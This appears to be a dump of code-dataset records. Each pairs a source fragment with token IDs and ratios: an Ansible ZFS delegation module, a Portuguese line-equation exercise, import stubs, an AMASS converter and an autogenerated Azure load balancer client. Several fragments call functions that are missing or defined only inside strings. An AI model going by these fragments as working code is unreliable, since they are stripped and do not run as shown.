555,
12154,
2361,
198,
220,
1957,
25,
198,
220,
220,
220,
6764,
25,
198,
220,
220,
220,
220,
220,
532,
27967,
21627,
284,
327,
7,
3672,
8,
15726,
357,
34,
7,
89,
9501,
1249,
532,
75,
29720,
198,
220,
220,
220,
2099,
25,
20512,
198,
220,
15350,
658,
25,
198,
220,
220,
220,
6764,
25,
198,
220,
220,
220,
220,
220,
532,
27967,
21627,
284,
327,
7,
3672,
33047,
82,
15350,
658,
357,
34,
7,
89,
9501,
1249,
532,
67,
29720,
198,
220,
220,
220,
2099,
25,
20512,
198,
220,
45115,
25,
198,
220,
220,
220,
6764,
25,
198,
220,
220,
220,
220,
220,
532,
791,
12154,
21627,
664,
1834,
2280,
357,
570,
1850,
618,
327,
7,
5219,
8,
318,
327,
7,
25579,
29720,
198,
220,
220,
220,
2099,
25,
20512,
198,
220,
220,
220,
4277,
25,
645,
198,
9800,
25,
198,
12,
23486,
2744,
64,
273,
4275,
77,
378,
21943,
8,
198,
7061,
6,
198,
198,
6369,
2390,
6489,
1546,
796,
374,
7061,
6,
198,
12,
1438,
25,
12181,
4600,
89,
9501,
1249,
63,
290,
4600,
403,
12154,
63,
7170,
284,
262,
4600,
324,
76,
63,
2836,
351,
262,
4277,
1957,
10,
20147,
437,
658,
8354,
198,
220,
2055,
13,
24622,
13,
89,
9501,
62,
2934,
34637,
62,
28482,
25,
198,
220,
220,
220,
1438,
25,
374,
7742,
14,
1820,
9501,
198,
220,
220,
220,
2985,
25,
6178,
198,
220,
220,
220,
21627,
25,
1249,
11,
403,
12154,
198,
198,
12,
1438,
25,
12181,
4600,
89,
9501,
3758,
63,
284,
2506,
11,
5556,
262,
1448,
4600,
1891,
929,
63,
198,
220,
2055,
13,
24622,
13,
89,
9501,
62,
2934,
34637,
62,
28482,
25,
198,
220,
220,
220,
1438,
25,
374,
7742,
14,
1820,
10396,
198,
220,
220,
220,
2628,
25,
11559,
198,
220,
220,
220,
2506,
25,
3763,
198,
220,
220,
220,
21627,
25,
3758,
198,
198,
12,
1438,
25,
12181,
4600,
89,
9501,
3758,
11,
260,
15164,
63,
284,
2985,
4600,
21943,
63,
290,
4600,
5657,
63,
351,
1957,
8354,
691,
198,
220,
2055,
13,
24622,
13,
89,
9501,
62,
2934,
34637,
62,
28482,
25,
198,
220,
220,
220,
1438,
25,
374,
7742,
14,
1820,
9501,
198,
220,
220,
220,
2985,
25,
22944,
11,
5657,
198,
220,
220,
220,
21627,
25,
3758,
11,
260,
15164,
198,
220,
220,
220,
1957,
25,
3763,
198,
198,
12,
1438,
25,
5416,
2088,
477,
21627,
422,
2506,
357,
525,
8481,
5734,
8686,
284,
2985,
290,
2628,
3520,
8,
198,
220,
2055,
13,
24622,
13,
89,
9501,
62,
2934,
34637,
62,
28482,
25,
198,
220,
220,
220,
1438,
25,
374,
7742,
14,
1820,
9501,
198,
220,
220,
220,
2506,
25,
3763,
198,
220,
220,
220,
1181,
25,
13717,
198,
7061,
6,
198,
198,
2,
770,
8265,
857,
407,
1441,
1997,
584,
621,
262,
3210,
198,
2,
3421,
14,
5219,
14,
19662,
14,
19282,
448,
198,
26087,
27064,
796,
705,
7061,
198,
7061,
6,
198,
198,
6738,
340,
861,
10141,
1330,
1720,
198,
198,
6738,
9093,
856,
13,
21412,
62,
26791,
13,
35487,
1330,
28038,
856,
26796,
628,
628,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
198,
220,
220,
220,
1388,
3419,
198
] | 2.99245 | 1,192 |
#Funções
''''
===========================================
def equacao_reta(x):
y_x = 2 * x + 1
return y_x
x = float(input("Entre com o valor a ser calculado para y(x) = 2x+1: "))
resultado = equacao_reta(x)
print("O resultado encontrado foi Y = %.0f" %resultado)
============================================
'''
lista_x = [1,2,3,4,5,6]
lista_y = []
for valor_x in lista_x:
lista_y.append(equacao_reta(valor_x))
for valor_x,valor_y in zip(lista_x,lista_y):
print("O valor de y(%0.1f) = %0.1f"%(valor_x,valor_y)) | [
2,
24629,
16175,
127,
113,
274,
198,
39115,
198,
10052,
2559,
18604,
198,
198,
4299,
1602,
330,
5488,
62,
1186,
64,
7,
87,
2599,
198,
220,
220,
220,
331,
62,
87,
796,
362,
1635,
2124,
1343,
352,
198,
220,
220,
220,
1441,
331,
62,
87,
198,
87,
796,
12178,
7,
15414,
7203,
14539,
260,
401,
267,
1188,
273,
257,
1055,
5204,
4533,
31215,
331,
7,
87,
8,
796,
362,
87,
10,
16,
25,
366,
4008,
198,
20274,
4533,
796,
1602,
330,
5488,
62,
1186,
64,
7,
87,
8,
198,
4798,
7203,
46,
1255,
4533,
2207,
756,
81,
4533,
11511,
72,
575,
796,
4064,
13,
15,
69,
1,
4064,
20274,
4533,
8,
198,
198,
10052,
25609,
198,
7061,
6,
198,
198,
4868,
64,
62,
87,
796,
685,
16,
11,
17,
11,
18,
11,
19,
11,
20,
11,
21,
60,
198,
4868,
64,
62,
88,
796,
17635,
198,
1640,
1188,
273,
62,
87,
287,
1351,
64,
62,
87,
25,
198,
220,
220,
220,
1351,
64,
62,
88,
13,
33295,
7,
4853,
330,
5488,
62,
1186,
64,
7,
2100,
273,
62,
87,
4008,
198,
220,
220,
220,
220,
198,
1640,
1188,
273,
62,
87,
11,
2100,
273,
62,
88,
287,
19974,
7,
4868,
64,
62,
87,
11,
4868,
64,
62,
88,
2599,
198,
220,
220,
220,
3601,
7203,
46,
1188,
273,
390,
331,
7,
4,
15,
13,
16,
69,
8,
796,
4064,
15,
13,
16,
69,
1,
4,
7,
2100,
273,
62,
87,
11,
2100,
273,
62,
88,
4008
] | 2.170732 | 246 |
from typing import Tuple, cast
from ..base import BaseFile
from .part import BlockingParts
from ...models.file import (
FileModel,
UploadUrlModel,
FileDeleteModel,
PartCancelModel
)
from ...settings import DownloadSettings, CopyFileSettings
from ...exceptions import AwaitingOnly
from ...utils import UploadUrlCache
from ...decorators import authorize_required
| [
6738,
19720,
1330,
309,
29291,
11,
3350,
198,
198,
6738,
11485,
8692,
1330,
7308,
8979,
198,
198,
6738,
764,
3911,
1330,
1086,
8629,
42670,
198,
198,
6738,
2644,
27530,
13,
7753,
1330,
357,
198,
220,
220,
220,
9220,
17633,
11,
198,
220,
220,
220,
36803,
28165,
17633,
11,
198,
220,
220,
220,
9220,
38727,
17633,
11,
198,
220,
220,
220,
2142,
34,
21130,
17633,
198,
8,
198,
198,
6738,
2644,
33692,
1330,
10472,
26232,
11,
17393,
8979,
26232,
198,
198,
6738,
2644,
1069,
11755,
1330,
5851,
64,
1780,
10049,
198,
198,
6738,
2644,
26791,
1330,
36803,
28165,
30562,
198,
198,
6738,
2644,
12501,
273,
2024,
1330,
29145,
62,
35827,
628
] | 3.5 | 110 |
from tests.cli import make_client, run_cmd
from tests.util import answers
| [
6738,
5254,
13,
44506,
1330,
787,
62,
16366,
11,
1057,
62,
28758,
198,
6738,
5254,
13,
22602,
1330,
7429,
628,
628,
628
] | 3.590909 | 22 |
# Imports
import numpy as np
import os
import json
import sys
# noinspection PyPep8Naming
from scipy.spatial.transform import Rotation
# This class converts AMASS SMPLH .npz body animation files into Unity-readable .json files.
# See AMASSConverterExamples file for an example on how to use this class.
if __name__ == "__main__":
main() | [
2,
1846,
3742,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
28686,
198,
11748,
33918,
198,
11748,
25064,
198,
2,
645,
1040,
14978,
9485,
47,
538,
23,
45,
3723,
198,
6738,
629,
541,
88,
13,
2777,
34961,
13,
35636,
1330,
371,
14221,
628,
198,
2,
770,
1398,
26161,
3001,
10705,
9447,
6489,
39,
764,
37659,
89,
1767,
11034,
3696,
656,
18714,
12,
46155,
764,
17752,
3696,
13,
198,
2,
4091,
3001,
10705,
3103,
332,
353,
27730,
2393,
329,
281,
1672,
319,
703,
284,
779,
428,
1398,
13,
628,
198,
198,
361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1298,
198,
220,
220,
220,
1388,
3419
] | 3.254717 | 106 |
from InterpreteF2.NodoAST import NodoArbol
from InterpreteF2.Tabla_de_simbolos import Tabla_de_simbolos
from InterpreteF2.Arbol import Arbol
from InterpreteF2.Valor.Valor import Valor
from InterpreteF2.Primitivos.TIPO import TIPO
from InterpreteF2.Primitivos.COMPROBADOR_deTipos import COMPROBADOR_deTipos
from InterpreteF2.Reporteria.ReporteOptimizacion import ReporteOptimizacion
# Reglas de optimizacion
# Regla 4
# Regla 5 | [
6738,
4225,
3866,
660,
37,
17,
13,
45,
24313,
11262,
1330,
399,
24313,
3163,
28984,
198,
6738,
4225,
3866,
660,
37,
17,
13,
33349,
5031,
62,
2934,
62,
82,
14107,
349,
418,
1330,
16904,
5031,
62,
2934,
62,
82,
14107,
349,
418,
198,
6738,
4225,
3866,
660,
37,
17,
13,
3163,
28984,
1330,
943,
28984,
198,
6738,
4225,
3866,
660,
37,
17,
13,
7762,
273,
13,
7762,
273,
1330,
3254,
273,
198,
6738,
4225,
3866,
660,
37,
17,
13,
23828,
270,
452,
418,
13,
51,
4061,
46,
1330,
309,
4061,
46,
198,
6738,
4225,
3866,
660,
37,
17,
13,
23828,
270,
452,
418,
13,
9858,
4805,
9864,
2885,
1581,
62,
2934,
28434,
418,
1330,
9440,
4805,
9864,
2885,
1581,
62,
2934,
28434,
418,
198,
6738,
4225,
3866,
660,
37,
17,
13,
6207,
4337,
544,
13,
19100,
68,
27871,
320,
528,
49443,
1330,
6358,
68,
27871,
320,
528,
49443,
628,
220,
220,
220,
1303,
3310,
21921,
390,
6436,
528,
49443,
628,
220,
220,
220,
1303,
3310,
5031,
604,
628,
220,
220,
220,
1303,
3310,
5031,
642
] | 2.52 | 175 |
# coding: utf-8
import sys
import os
sys.path.insert(1, os.path.join(sys.path[0], '..'))
from strtodate import strtodate
| [
2,
19617,
25,
3384,
69,
12,
23,
198,
11748,
25064,
198,
11748,
28686,
198,
17597,
13,
6978,
13,
28463,
7,
16,
11,
28686,
13,
6978,
13,
22179,
7,
17597,
13,
6978,
58,
15,
4357,
705,
492,
6,
4008,
198,
6738,
965,
83,
375,
378,
1330,
965,
83,
375,
378,
628
] | 2.44 | 50 |
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
#pylint: skip-file
# coding=utf-8
# --------------------------------------------------------------------------
# Code generated by Microsoft (R) AutoRest Code Generator 0.17.0.0
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
from msrest.pipeline import ClientRawResponse
from msrestazure.azure_exceptions import CloudError
from msrestazure.azure_operation import AzureOperationPoller
import uuid
from .. import models
class LbOperations(object):
"""LbOperations operations.
:param client: Client for service requests.
:param config: Configuration of service client.
:param serializer: An object model serializer.
:param deserializer: An objec model deserializer.
"""
def create_or_update(
self, resource_group_name, deployment_name, load_balancer_name, content_version=None, backend_pool_name=None, dns_name_type="none", frontend_ip_name="LoadBalancerFrontEnd", location=None, private_ip_address=None, private_ip_address_allocation="dynamic", public_ip_address=None, public_ip_address_allocation="dynamic", public_ip_address_type="new", public_ip_dns_name=None, subnet=None, subnet_address_prefix="10.0.0.0/24", subnet_type="none", tags=None, virtual_network_name=None, vnet_address_prefix="10.0.0.0/16", custom_headers=None, raw=False, **operation_config):
"""
Create or update a virtual machine.
:param resource_group_name: The name of the resource group. The name
is case insensitive.
:type resource_group_name: str
:param deployment_name: The name of the deployment.
:type deployment_name: str
:param load_balancer_name: Name for load balancer.
:type load_balancer_name: str
:param content_version: If included it must match the ContentVersion
in the template.
:type content_version: str
:param backend_pool_name: Name of load balancer backend pool.
:type backend_pool_name: str
:param dns_name_type: Associate VMs with a public IP address to a DNS
name. Possible values include: 'none', 'new'
:type dns_name_type: str or :class:`dnsNameType
<lbcreationclient.models.dnsNameType>`
:param frontend_ip_name: Name of the frontend IP configuration.
:type frontend_ip_name: str
:param location: Location for load balancer resource.
:type location: str
:param private_ip_address: Static private IP address to use.
:type private_ip_address: str
:param private_ip_address_allocation: Private IP address allocation
method. Possible values include: 'dynamic', 'static'
:type private_ip_address_allocation: str or
:class:`privateIpAddressAllocation
<lbcreationclient.models.privateIpAddressAllocation>`
:param public_ip_address: Name or ID of the public IP address to use.
:type public_ip_address: str
:param public_ip_address_allocation: Public IP address allocation
method. Possible values include: 'dynamic', 'static'
:type public_ip_address_allocation: str or
:class:`publicIpAddressAllocation
<lbcreationclient.models.publicIpAddressAllocation>`
:param public_ip_address_type: Type of Public IP Address to associate
with the load balancer. Possible values include: 'none', 'new',
'existingName', 'existingId'
:type public_ip_address_type: str or :class:`publicIpAddressType
<lbcreationclient.models.publicIpAddressType>`
:param public_ip_dns_name: Globally unique DNS Name for the Public IP
used to access the Virtual Machine (new public IP only).
:type public_ip_dns_name: str
:param subnet: The subnet name or ID to associate with the load
balancer. Cannot be used in conjunction with a Public IP.
:type subnet: str
:param subnet_address_prefix: The subnet address prefix in CIDR
format (new subnet only).
:type subnet_address_prefix: str
:param subnet_type: Use new, existing or no subnet. Possible values
include: 'none', 'new', 'existingName', 'existingId'
:type subnet_type: str or :class:`subnetType
<lbcreationclient.models.subnetType>`
:param tags: Tags object.
:type tags: object
:param virtual_network_name: The VNet name containing the subnet.
Cannot be used in conjunction with a Public IP.
:type virtual_network_name: str
:param vnet_address_prefix: The virtual network IP address prefix in
CIDR format (new subnet only).
:type vnet_address_prefix: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:rtype:
:class:`AzureOperationPoller<msrestazure.azure_operation.AzureOperationPoller>`
instance that returns :class:`DeploymentExtended
<default.models.DeploymentExtended>`
:rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>`
if raw=true
"""
parameters = models.DeploymentLb(content_version=content_version, backend_pool_name=backend_pool_name, dns_name_type=dns_name_type, frontend_ip_name=frontend_ip_name, load_balancer_name=load_balancer_name, location=location, private_ip_address=private_ip_address, private_ip_address_allocation=private_ip_address_allocation, public_ip_address=public_ip_address, public_ip_address_allocation=public_ip_address_allocation, public_ip_address_type=public_ip_address_type, public_ip_dns_name=public_ip_dns_name, subnet=subnet, subnet_address_prefix=subnet_address_prefix, subnet_type=subnet_type, tags=tags, virtual_network_name=virtual_network_name, vnet_address_prefix=vnet_address_prefix)
# Construct URL
url = '/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Resources/deployments/{deploymentName}'
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str', max_length=64, min_length=1, pattern='^[-\w\._]+$'),
'deploymentName': self._serialize.url("deployment_name", deployment_name, 'str', max_length=64, min_length=1, pattern='^[-\w\._]+$'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct body
body_content = self._serialize.body(parameters, 'DeploymentLb')
# Construct and send request
if raw:
response = long_running_send()
return get_long_running_output(response)
long_running_operation_timeout = operation_config.get(
'long_running_operation_timeout',
self.config.long_running_operation_timeout)
return AzureOperationPoller(
long_running_send, get_long_running_output,
get_long_running_status, long_running_operation_timeout)
| [
2,
16529,
1783,
10541,
198,
2,
15069,
357,
66,
8,
5413,
10501,
13,
1439,
2489,
10395,
13,
198,
2,
49962,
739,
262,
17168,
13789,
13,
4091,
13789,
13,
14116,
287,
262,
1628,
6808,
329,
5964,
1321,
13,
198,
2,
16529,
1783,
10541,
198,
2,
79,
2645,
600,
25,
14267,
12,
7753,
198,
2,
19617,
28,
40477,
12,
23,
198,
2,
16529,
35937,
198,
2,
6127,
7560,
416,
5413,
357,
49,
8,
11160,
19452,
6127,
35986,
657,
13,
1558,
13,
15,
13,
15,
198,
2,
19179,
743,
2728,
11491,
4069,
290,
481,
307,
2626,
611,
262,
2438,
318,
198,
2,
16935,
515,
13,
198,
2,
16529,
35937,
198,
198,
6738,
13845,
2118,
13,
79,
541,
4470,
1330,
20985,
27369,
31077,
198,
6738,
13845,
2118,
1031,
495,
13,
1031,
495,
62,
1069,
11755,
1330,
10130,
12331,
198,
6738,
13845,
2118,
1031,
495,
13,
1031,
495,
62,
27184,
1330,
22134,
32180,
39176,
263,
198,
11748,
334,
27112,
198,
198,
6738,
11485,
1330,
4981,
628,
198,
4871,
406,
65,
18843,
602,
7,
15252,
2599,
198,
220,
220,
220,
37227,
43,
65,
18843,
602,
4560,
13,
628,
220,
220,
220,
1058,
17143,
5456,
25,
20985,
329,
2139,
7007,
13,
198,
220,
220,
220,
1058,
17143,
4566,
25,
28373,
286,
2139,
5456,
13,
198,
220,
220,
220,
1058,
17143,
11389,
7509,
25,
1052,
2134,
2746,
11389,
7509,
13,
198,
220,
220,
220,
1058,
17143,
748,
48499,
7509,
25,
1052,
26181,
721,
2746,
748,
48499,
7509,
13,
198,
220,
220,
220,
37227,
628,
220,
220,
220,
825,
2251,
62,
273,
62,
19119,
7,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
11,
8271,
62,
8094,
62,
3672,
11,
14833,
62,
3672,
11,
3440,
62,
6893,
8250,
62,
3672,
11,
2695,
62,
9641,
28,
14202,
11,
30203,
62,
7742,
62,
3672,
28,
14202,
11,
288,
5907,
62,
3672,
62,
4906,
2625,
23108,
1600,
2166,
437,
62,
541,
62,
3672,
2625,
8912,
24597,
8250,
25886,
12915,
1600,
4067,
28,
14202,
11,
2839,
62,
541,
62,
21975,
28,
14202,
11,
2839,
62,
541,
62,
21975,
62,
439,
5040,
2625,
67,
28995,
1600,
1171,
62,
541,
62,
21975,
28,
14202,
11,
1171,
62,
541,
62,
21975,
62,
439,
5040,
2625,
67,
28995,
1600,
1171,
62,
541,
62,
21975,
62,
4906,
2625,
3605,
1600,
1171,
62,
541,
62,
67,
5907,
62,
3672,
28,
14202,
11,
850,
3262,
28,
14202,
11,
850,
3262,
62,
21975,
62,
40290,
2625,
940,
13,
15,
13,
15,
13,
15,
14,
1731,
1600,
850,
3262,
62,
4906,
2625,
23108,
1600,
15940,
28,
14202,
11,
7166,
62,
27349,
62,
3672,
28,
14202,
11,
410,
3262,
62,
21975,
62,
40290,
2625,
940,
13,
15,
13,
15,
13,
15,
14,
1433,
1600,
2183,
62,
50145,
28,
14202,
11,
8246,
28,
25101,
11,
12429,
27184,
62,
11250,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
13610,
393,
4296,
257,
7166,
4572,
13,
628,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
8271,
62,
8094,
62,
3672,
25,
383,
1438,
286,
262,
8271,
1448,
13,
383,
1438,
198,
220,
220,
220,
220,
220,
220,
220,
220,
318,
1339,
41246,
13,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
8271,
62,
8094,
62,
3672,
25,
965,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
14833,
62,
3672,
25,
383,
1438,
286,
262,
14833,
13,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
14833,
62,
3672,
25,
965,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
3440,
62,
6893,
8250,
62,
3672,
25,
6530,
329,
3440,
3652,
8250,
13,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
3440,
62,
6893,
8250,
62,
3672,
25,
965,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
2695,
62,
9641,
25,
1002,
3017,
340,
1276,
2872,
262,
14041,
14815,
198,
220,
220,
220,
220,
220,
220,
220,
220,
287,
262,
11055,
13,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
2695,
62,
9641,
25,
965,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
30203,
62,
7742,
62,
3672,
25,
6530,
286,
3440,
3652,
8250,
30203,
5933,
13,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
30203,
62,
7742,
62,
3672,
25,
965,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
288,
5907,
62,
3672,
62,
4906,
25,
22669,
569,
10128,
351,
257,
1171,
6101,
2209,
284,
257,
18538,
198,
220,
220,
220,
220,
220,
220,
220,
220,
1438,
13,
33671,
3815,
2291,
25,
705,
23108,
3256,
705,
3605,
6,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
288,
5907,
62,
3672,
62,
4906,
25,
965,
393,
1058,
4871,
25,
63,
67,
5907,
5376,
6030,
198,
220,
220,
220,
220,
220,
220,
220,
220,
1279,
23160,
38793,
16366,
13,
27530,
13,
67,
5907,
5376,
6030,
29,
63,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
2166,
437,
62,
541,
62,
3672,
25,
6530,
286,
262,
2166,
437,
6101,
8398,
13,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
2166,
437,
62,
541,
62,
3672,
25,
965,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
4067,
25,
13397,
329,
3440,
3652,
8250,
8271,
13,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
4067,
25,
965,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
2839,
62,
541,
62,
21975,
25,
36125,
2839,
6101,
2209,
284,
779,
13,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
2839,
62,
541,
62,
21975,
25,
965,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
2839,
62,
541,
62,
21975,
62,
439,
5040,
25,
15348,
6101,
2209,
20157,
198,
220,
220,
220,
220,
220,
220,
220,
220,
2446,
13,
33671,
3815,
2291,
25,
705,
67,
28995,
3256,
705,
12708,
6,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
2839,
62,
541,
62,
21975,
62,
439,
5040,
25,
965,
393,
198,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
4871,
25,
63,
19734,
40,
79,
20231,
3237,
5040,
198,
220,
220,
220,
220,
220,
220,
220,
220,
1279,
23160,
38793,
16366,
13,
27530,
13,
19734,
40,
79,
20231,
3237,
5040,
29,
63,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
1171,
62,
541,
62,
21975,
25,
6530,
393,
4522,
286,
262,
1171,
6101,
2209,
284,
779,
13,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
1171,
62,
541,
62,
21975,
25,
965,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
1171,
62,
541,
62,
21975,
62,
439,
5040,
25,
5094,
6101,
2209,
20157,
198,
220,
220,
220,
220,
220,
220,
220,
220,
2446,
13,
33671,
3815,
2291,
25,
705,
67,
28995,
3256,
705,
12708,
6,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
1171,
62,
541,
62,
21975,
62,
439,
5040,
25,
965,
393,
198,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
4871,
25,
63,
11377,
40,
79,
20231,
3237,
5040,
198,
220,
220,
220,
220,
220,
220,
220,
220,
1279,
23160,
38793,
16366,
13,
27530,
13,
11377,
40,
79,
20231,
3237,
5040,
29,
63,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
1171,
62,
541,
62,
21975,
62,
4906,
25,
5994,
286,
5094,
6101,
17917,
284,
11602,
198,
220,
220,
220,
220,
220,
220,
220,
220,
351,
262,
3440,
3652,
8250,
13,
33671,
3815,
2291,
25,
705,
23108,
3256,
705,
3605,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
705,
25687,
5376,
3256,
705,
25687,
7390,
6,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
1171,
62,
541,
62,
21975,
62,
4906,
25,
965,
393,
1058,
4871,
25,
63,
11377,
40,
79,
20231,
6030,
198,
220,
220,
220,
220,
220,
220,
220,
220,
1279,
23160,
38793,
16366,
13,
27530,
13,
11377,
40,
79,
20231,
6030,
29,
63,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
1171,
62,
541,
62,
67,
5907,
62,
3672,
25,
40713,
453,
3748,
18538,
6530,
329,
262,
5094,
6101,
198,
220,
220,
220,
220,
220,
220,
220,
220,
973,
284,
1895,
262,
15595,
10850,
357,
3605,
1171,
6101,
691,
737,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
1171,
62,
541,
62,
67,
5907,
62,
3672,
25,
965,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
850,
3262,
25,
383,
850,
3262,
1438,
393,
4522,
284,
11602,
351,
262,
3440,
198,
220,
220,
220,
220,
220,
220,
220,
220,
3652,
8250,
13,
26003,
307,
973,
287,
17856,
351,
257,
5094,
6101,
13,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
850,
3262,
25,
965,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
850,
3262,
62,
21975,
62,
40290,
25,
383,
850,
3262,
2209,
21231,
287,
327,
2389,
49,
198,
220,
220,
220,
220,
220,
220,
220,
220,
5794,
357,
3605,
850,
3262,
691,
737,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
850,
3262,
62,
21975,
62,
40290,
25,
965,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
850,
3262,
62,
4906,
25,
5765,
649,
11,
4683,
393,
645,
850,
3262,
13,
33671,
3815,
198,
220,
220,
220,
220,
220,
220,
220,
220,
2291,
25,
705,
23108,
3256,
705,
3605,
3256,
705,
25687,
5376,
3256,
705,
25687,
7390,
6,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
850,
3262,
62,
4906,
25,
965,
393,
1058,
4871,
25,
63,
7266,
3262,
6030,
198,
220,
220,
220,
220,
220,
220,
220,
220,
1279,
23160,
38793,
16366,
13,
27530,
13,
7266,
3262,
6030,
29,
63,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
15940,
25,
44789,
2134,
13,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
15940,
25,
2134,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
7166,
62,
27349,
62,
3672,
25,
383,
569,
7934,
1438,
7268,
262,
850,
3262,
13,
198,
220,
220,
220,
220,
220,
220,
220,
220,
26003,
307,
973,
287,
17856,
351,
257,
5094,
6101,
13,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
7166,
62,
27349,
62,
3672,
25,
965,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
410,
3262,
62,
21975,
62,
40290,
25,
383,
7166,
3127,
6101,
2209,
21231,
287,
198,
220,
220,
220,
220,
220,
220,
220,
220,
327,
2389,
49,
5794,
357,
3605,
850,
3262,
691,
737,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
4906,
410,
3262,
62,
21975,
62,
40290,
25,
965,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
8633,
2183,
62,
50145,
25,
24697,
326,
481,
307,
2087,
284,
262,
2581,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
17143,
20512,
8246,
25,
5860,
262,
1277,
2882,
7848,
262,
198,
220,
220,
220,
220,
220,
220,
220,
220,
748,
48499,
1143,
2882,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
81,
4906,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
1058,
4871,
25,
63,
26903,
495,
32180,
39176,
263,
27,
907,
2118,
1031,
495,
13,
1031,
495,
62,
27184,
13,
26903,
495,
32180,
39176,
263,
29,
63,
198,
220,
220,
220,
220,
220,
220,
220,
220,
4554,
326,
5860,
1058,
4871,
25,
63,
49322,
434,
11627,
1631,
198,
220,
220,
220,
220,
220,
220,
220,
220,
1279,
12286,
13,
27530,
13,
49322,
434,
11627,
1631,
29,
63,
198,
220,
220,
220,
220,
220,
220,
220,
1058,
81,
4906,
25,
1058,
4871,
25,
63,
11792,
27369,
31077,
27,
907,
2118,
13,
79,
541,
4470,
13,
11792,
27369,
31077,
29,
63,
198,
220,
220,
220,
220,
220,
220,
220,
220,
611,
8246,
28,
7942,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
198,
220,
220,
220,
220,
220,
220,
220,
10007,
796,
4981,
13,
49322,
434,
43,
65,
7,
11299,
62,
9641,
28,
11299,
62,
9641,
11,
30203,
62,
7742,
62,
3672,
28,
1891,
437,
62,
7742,
62,
3672,
11,
288,
5907,
62,
3672,
62,
4906,
28,
67,
5907,
62,
3672,
62,
4906,
11,
2166,
437,
62,
541,
62,
3672,
28,
8534,
437,
62,
541,
62,
3672,
11,
3440,
62,
6893,
8250,
62,
3672,
28,
2220,
62,
6893,
8250,
62,
3672,
11,
4067,
28,
24886,
11,
2839,
62,
541,
62,
21975,
28,
19734,
62,
541,
62,
21975,
11,
2839,
62,
541,
62,
21975,
62,
439,
5040,
28,
19734,
62,
541,
62,
21975,
62,
439,
5040,
11,
1171,
62,
541,
62,
21975,
28,
11377,
62,
541,
62,
21975,
11,
1171,
62,
541,
62,
21975,
62,
439,
5040,
28,
11377,
62,
541,
62,
21975,
62,
439,
5040,
11,
1171,
62,
541,
62,
21975,
62,
4906,
28,
11377,
62,
541,
62,
21975,
62,
4906,
11,
1171,
62,
541,
62,
67,
5907,
62,
3672,
28,
11377,
62,
541,
62,
67,
5907,
62,
3672,
11,
850,
3262,
28,
7266,
3262,
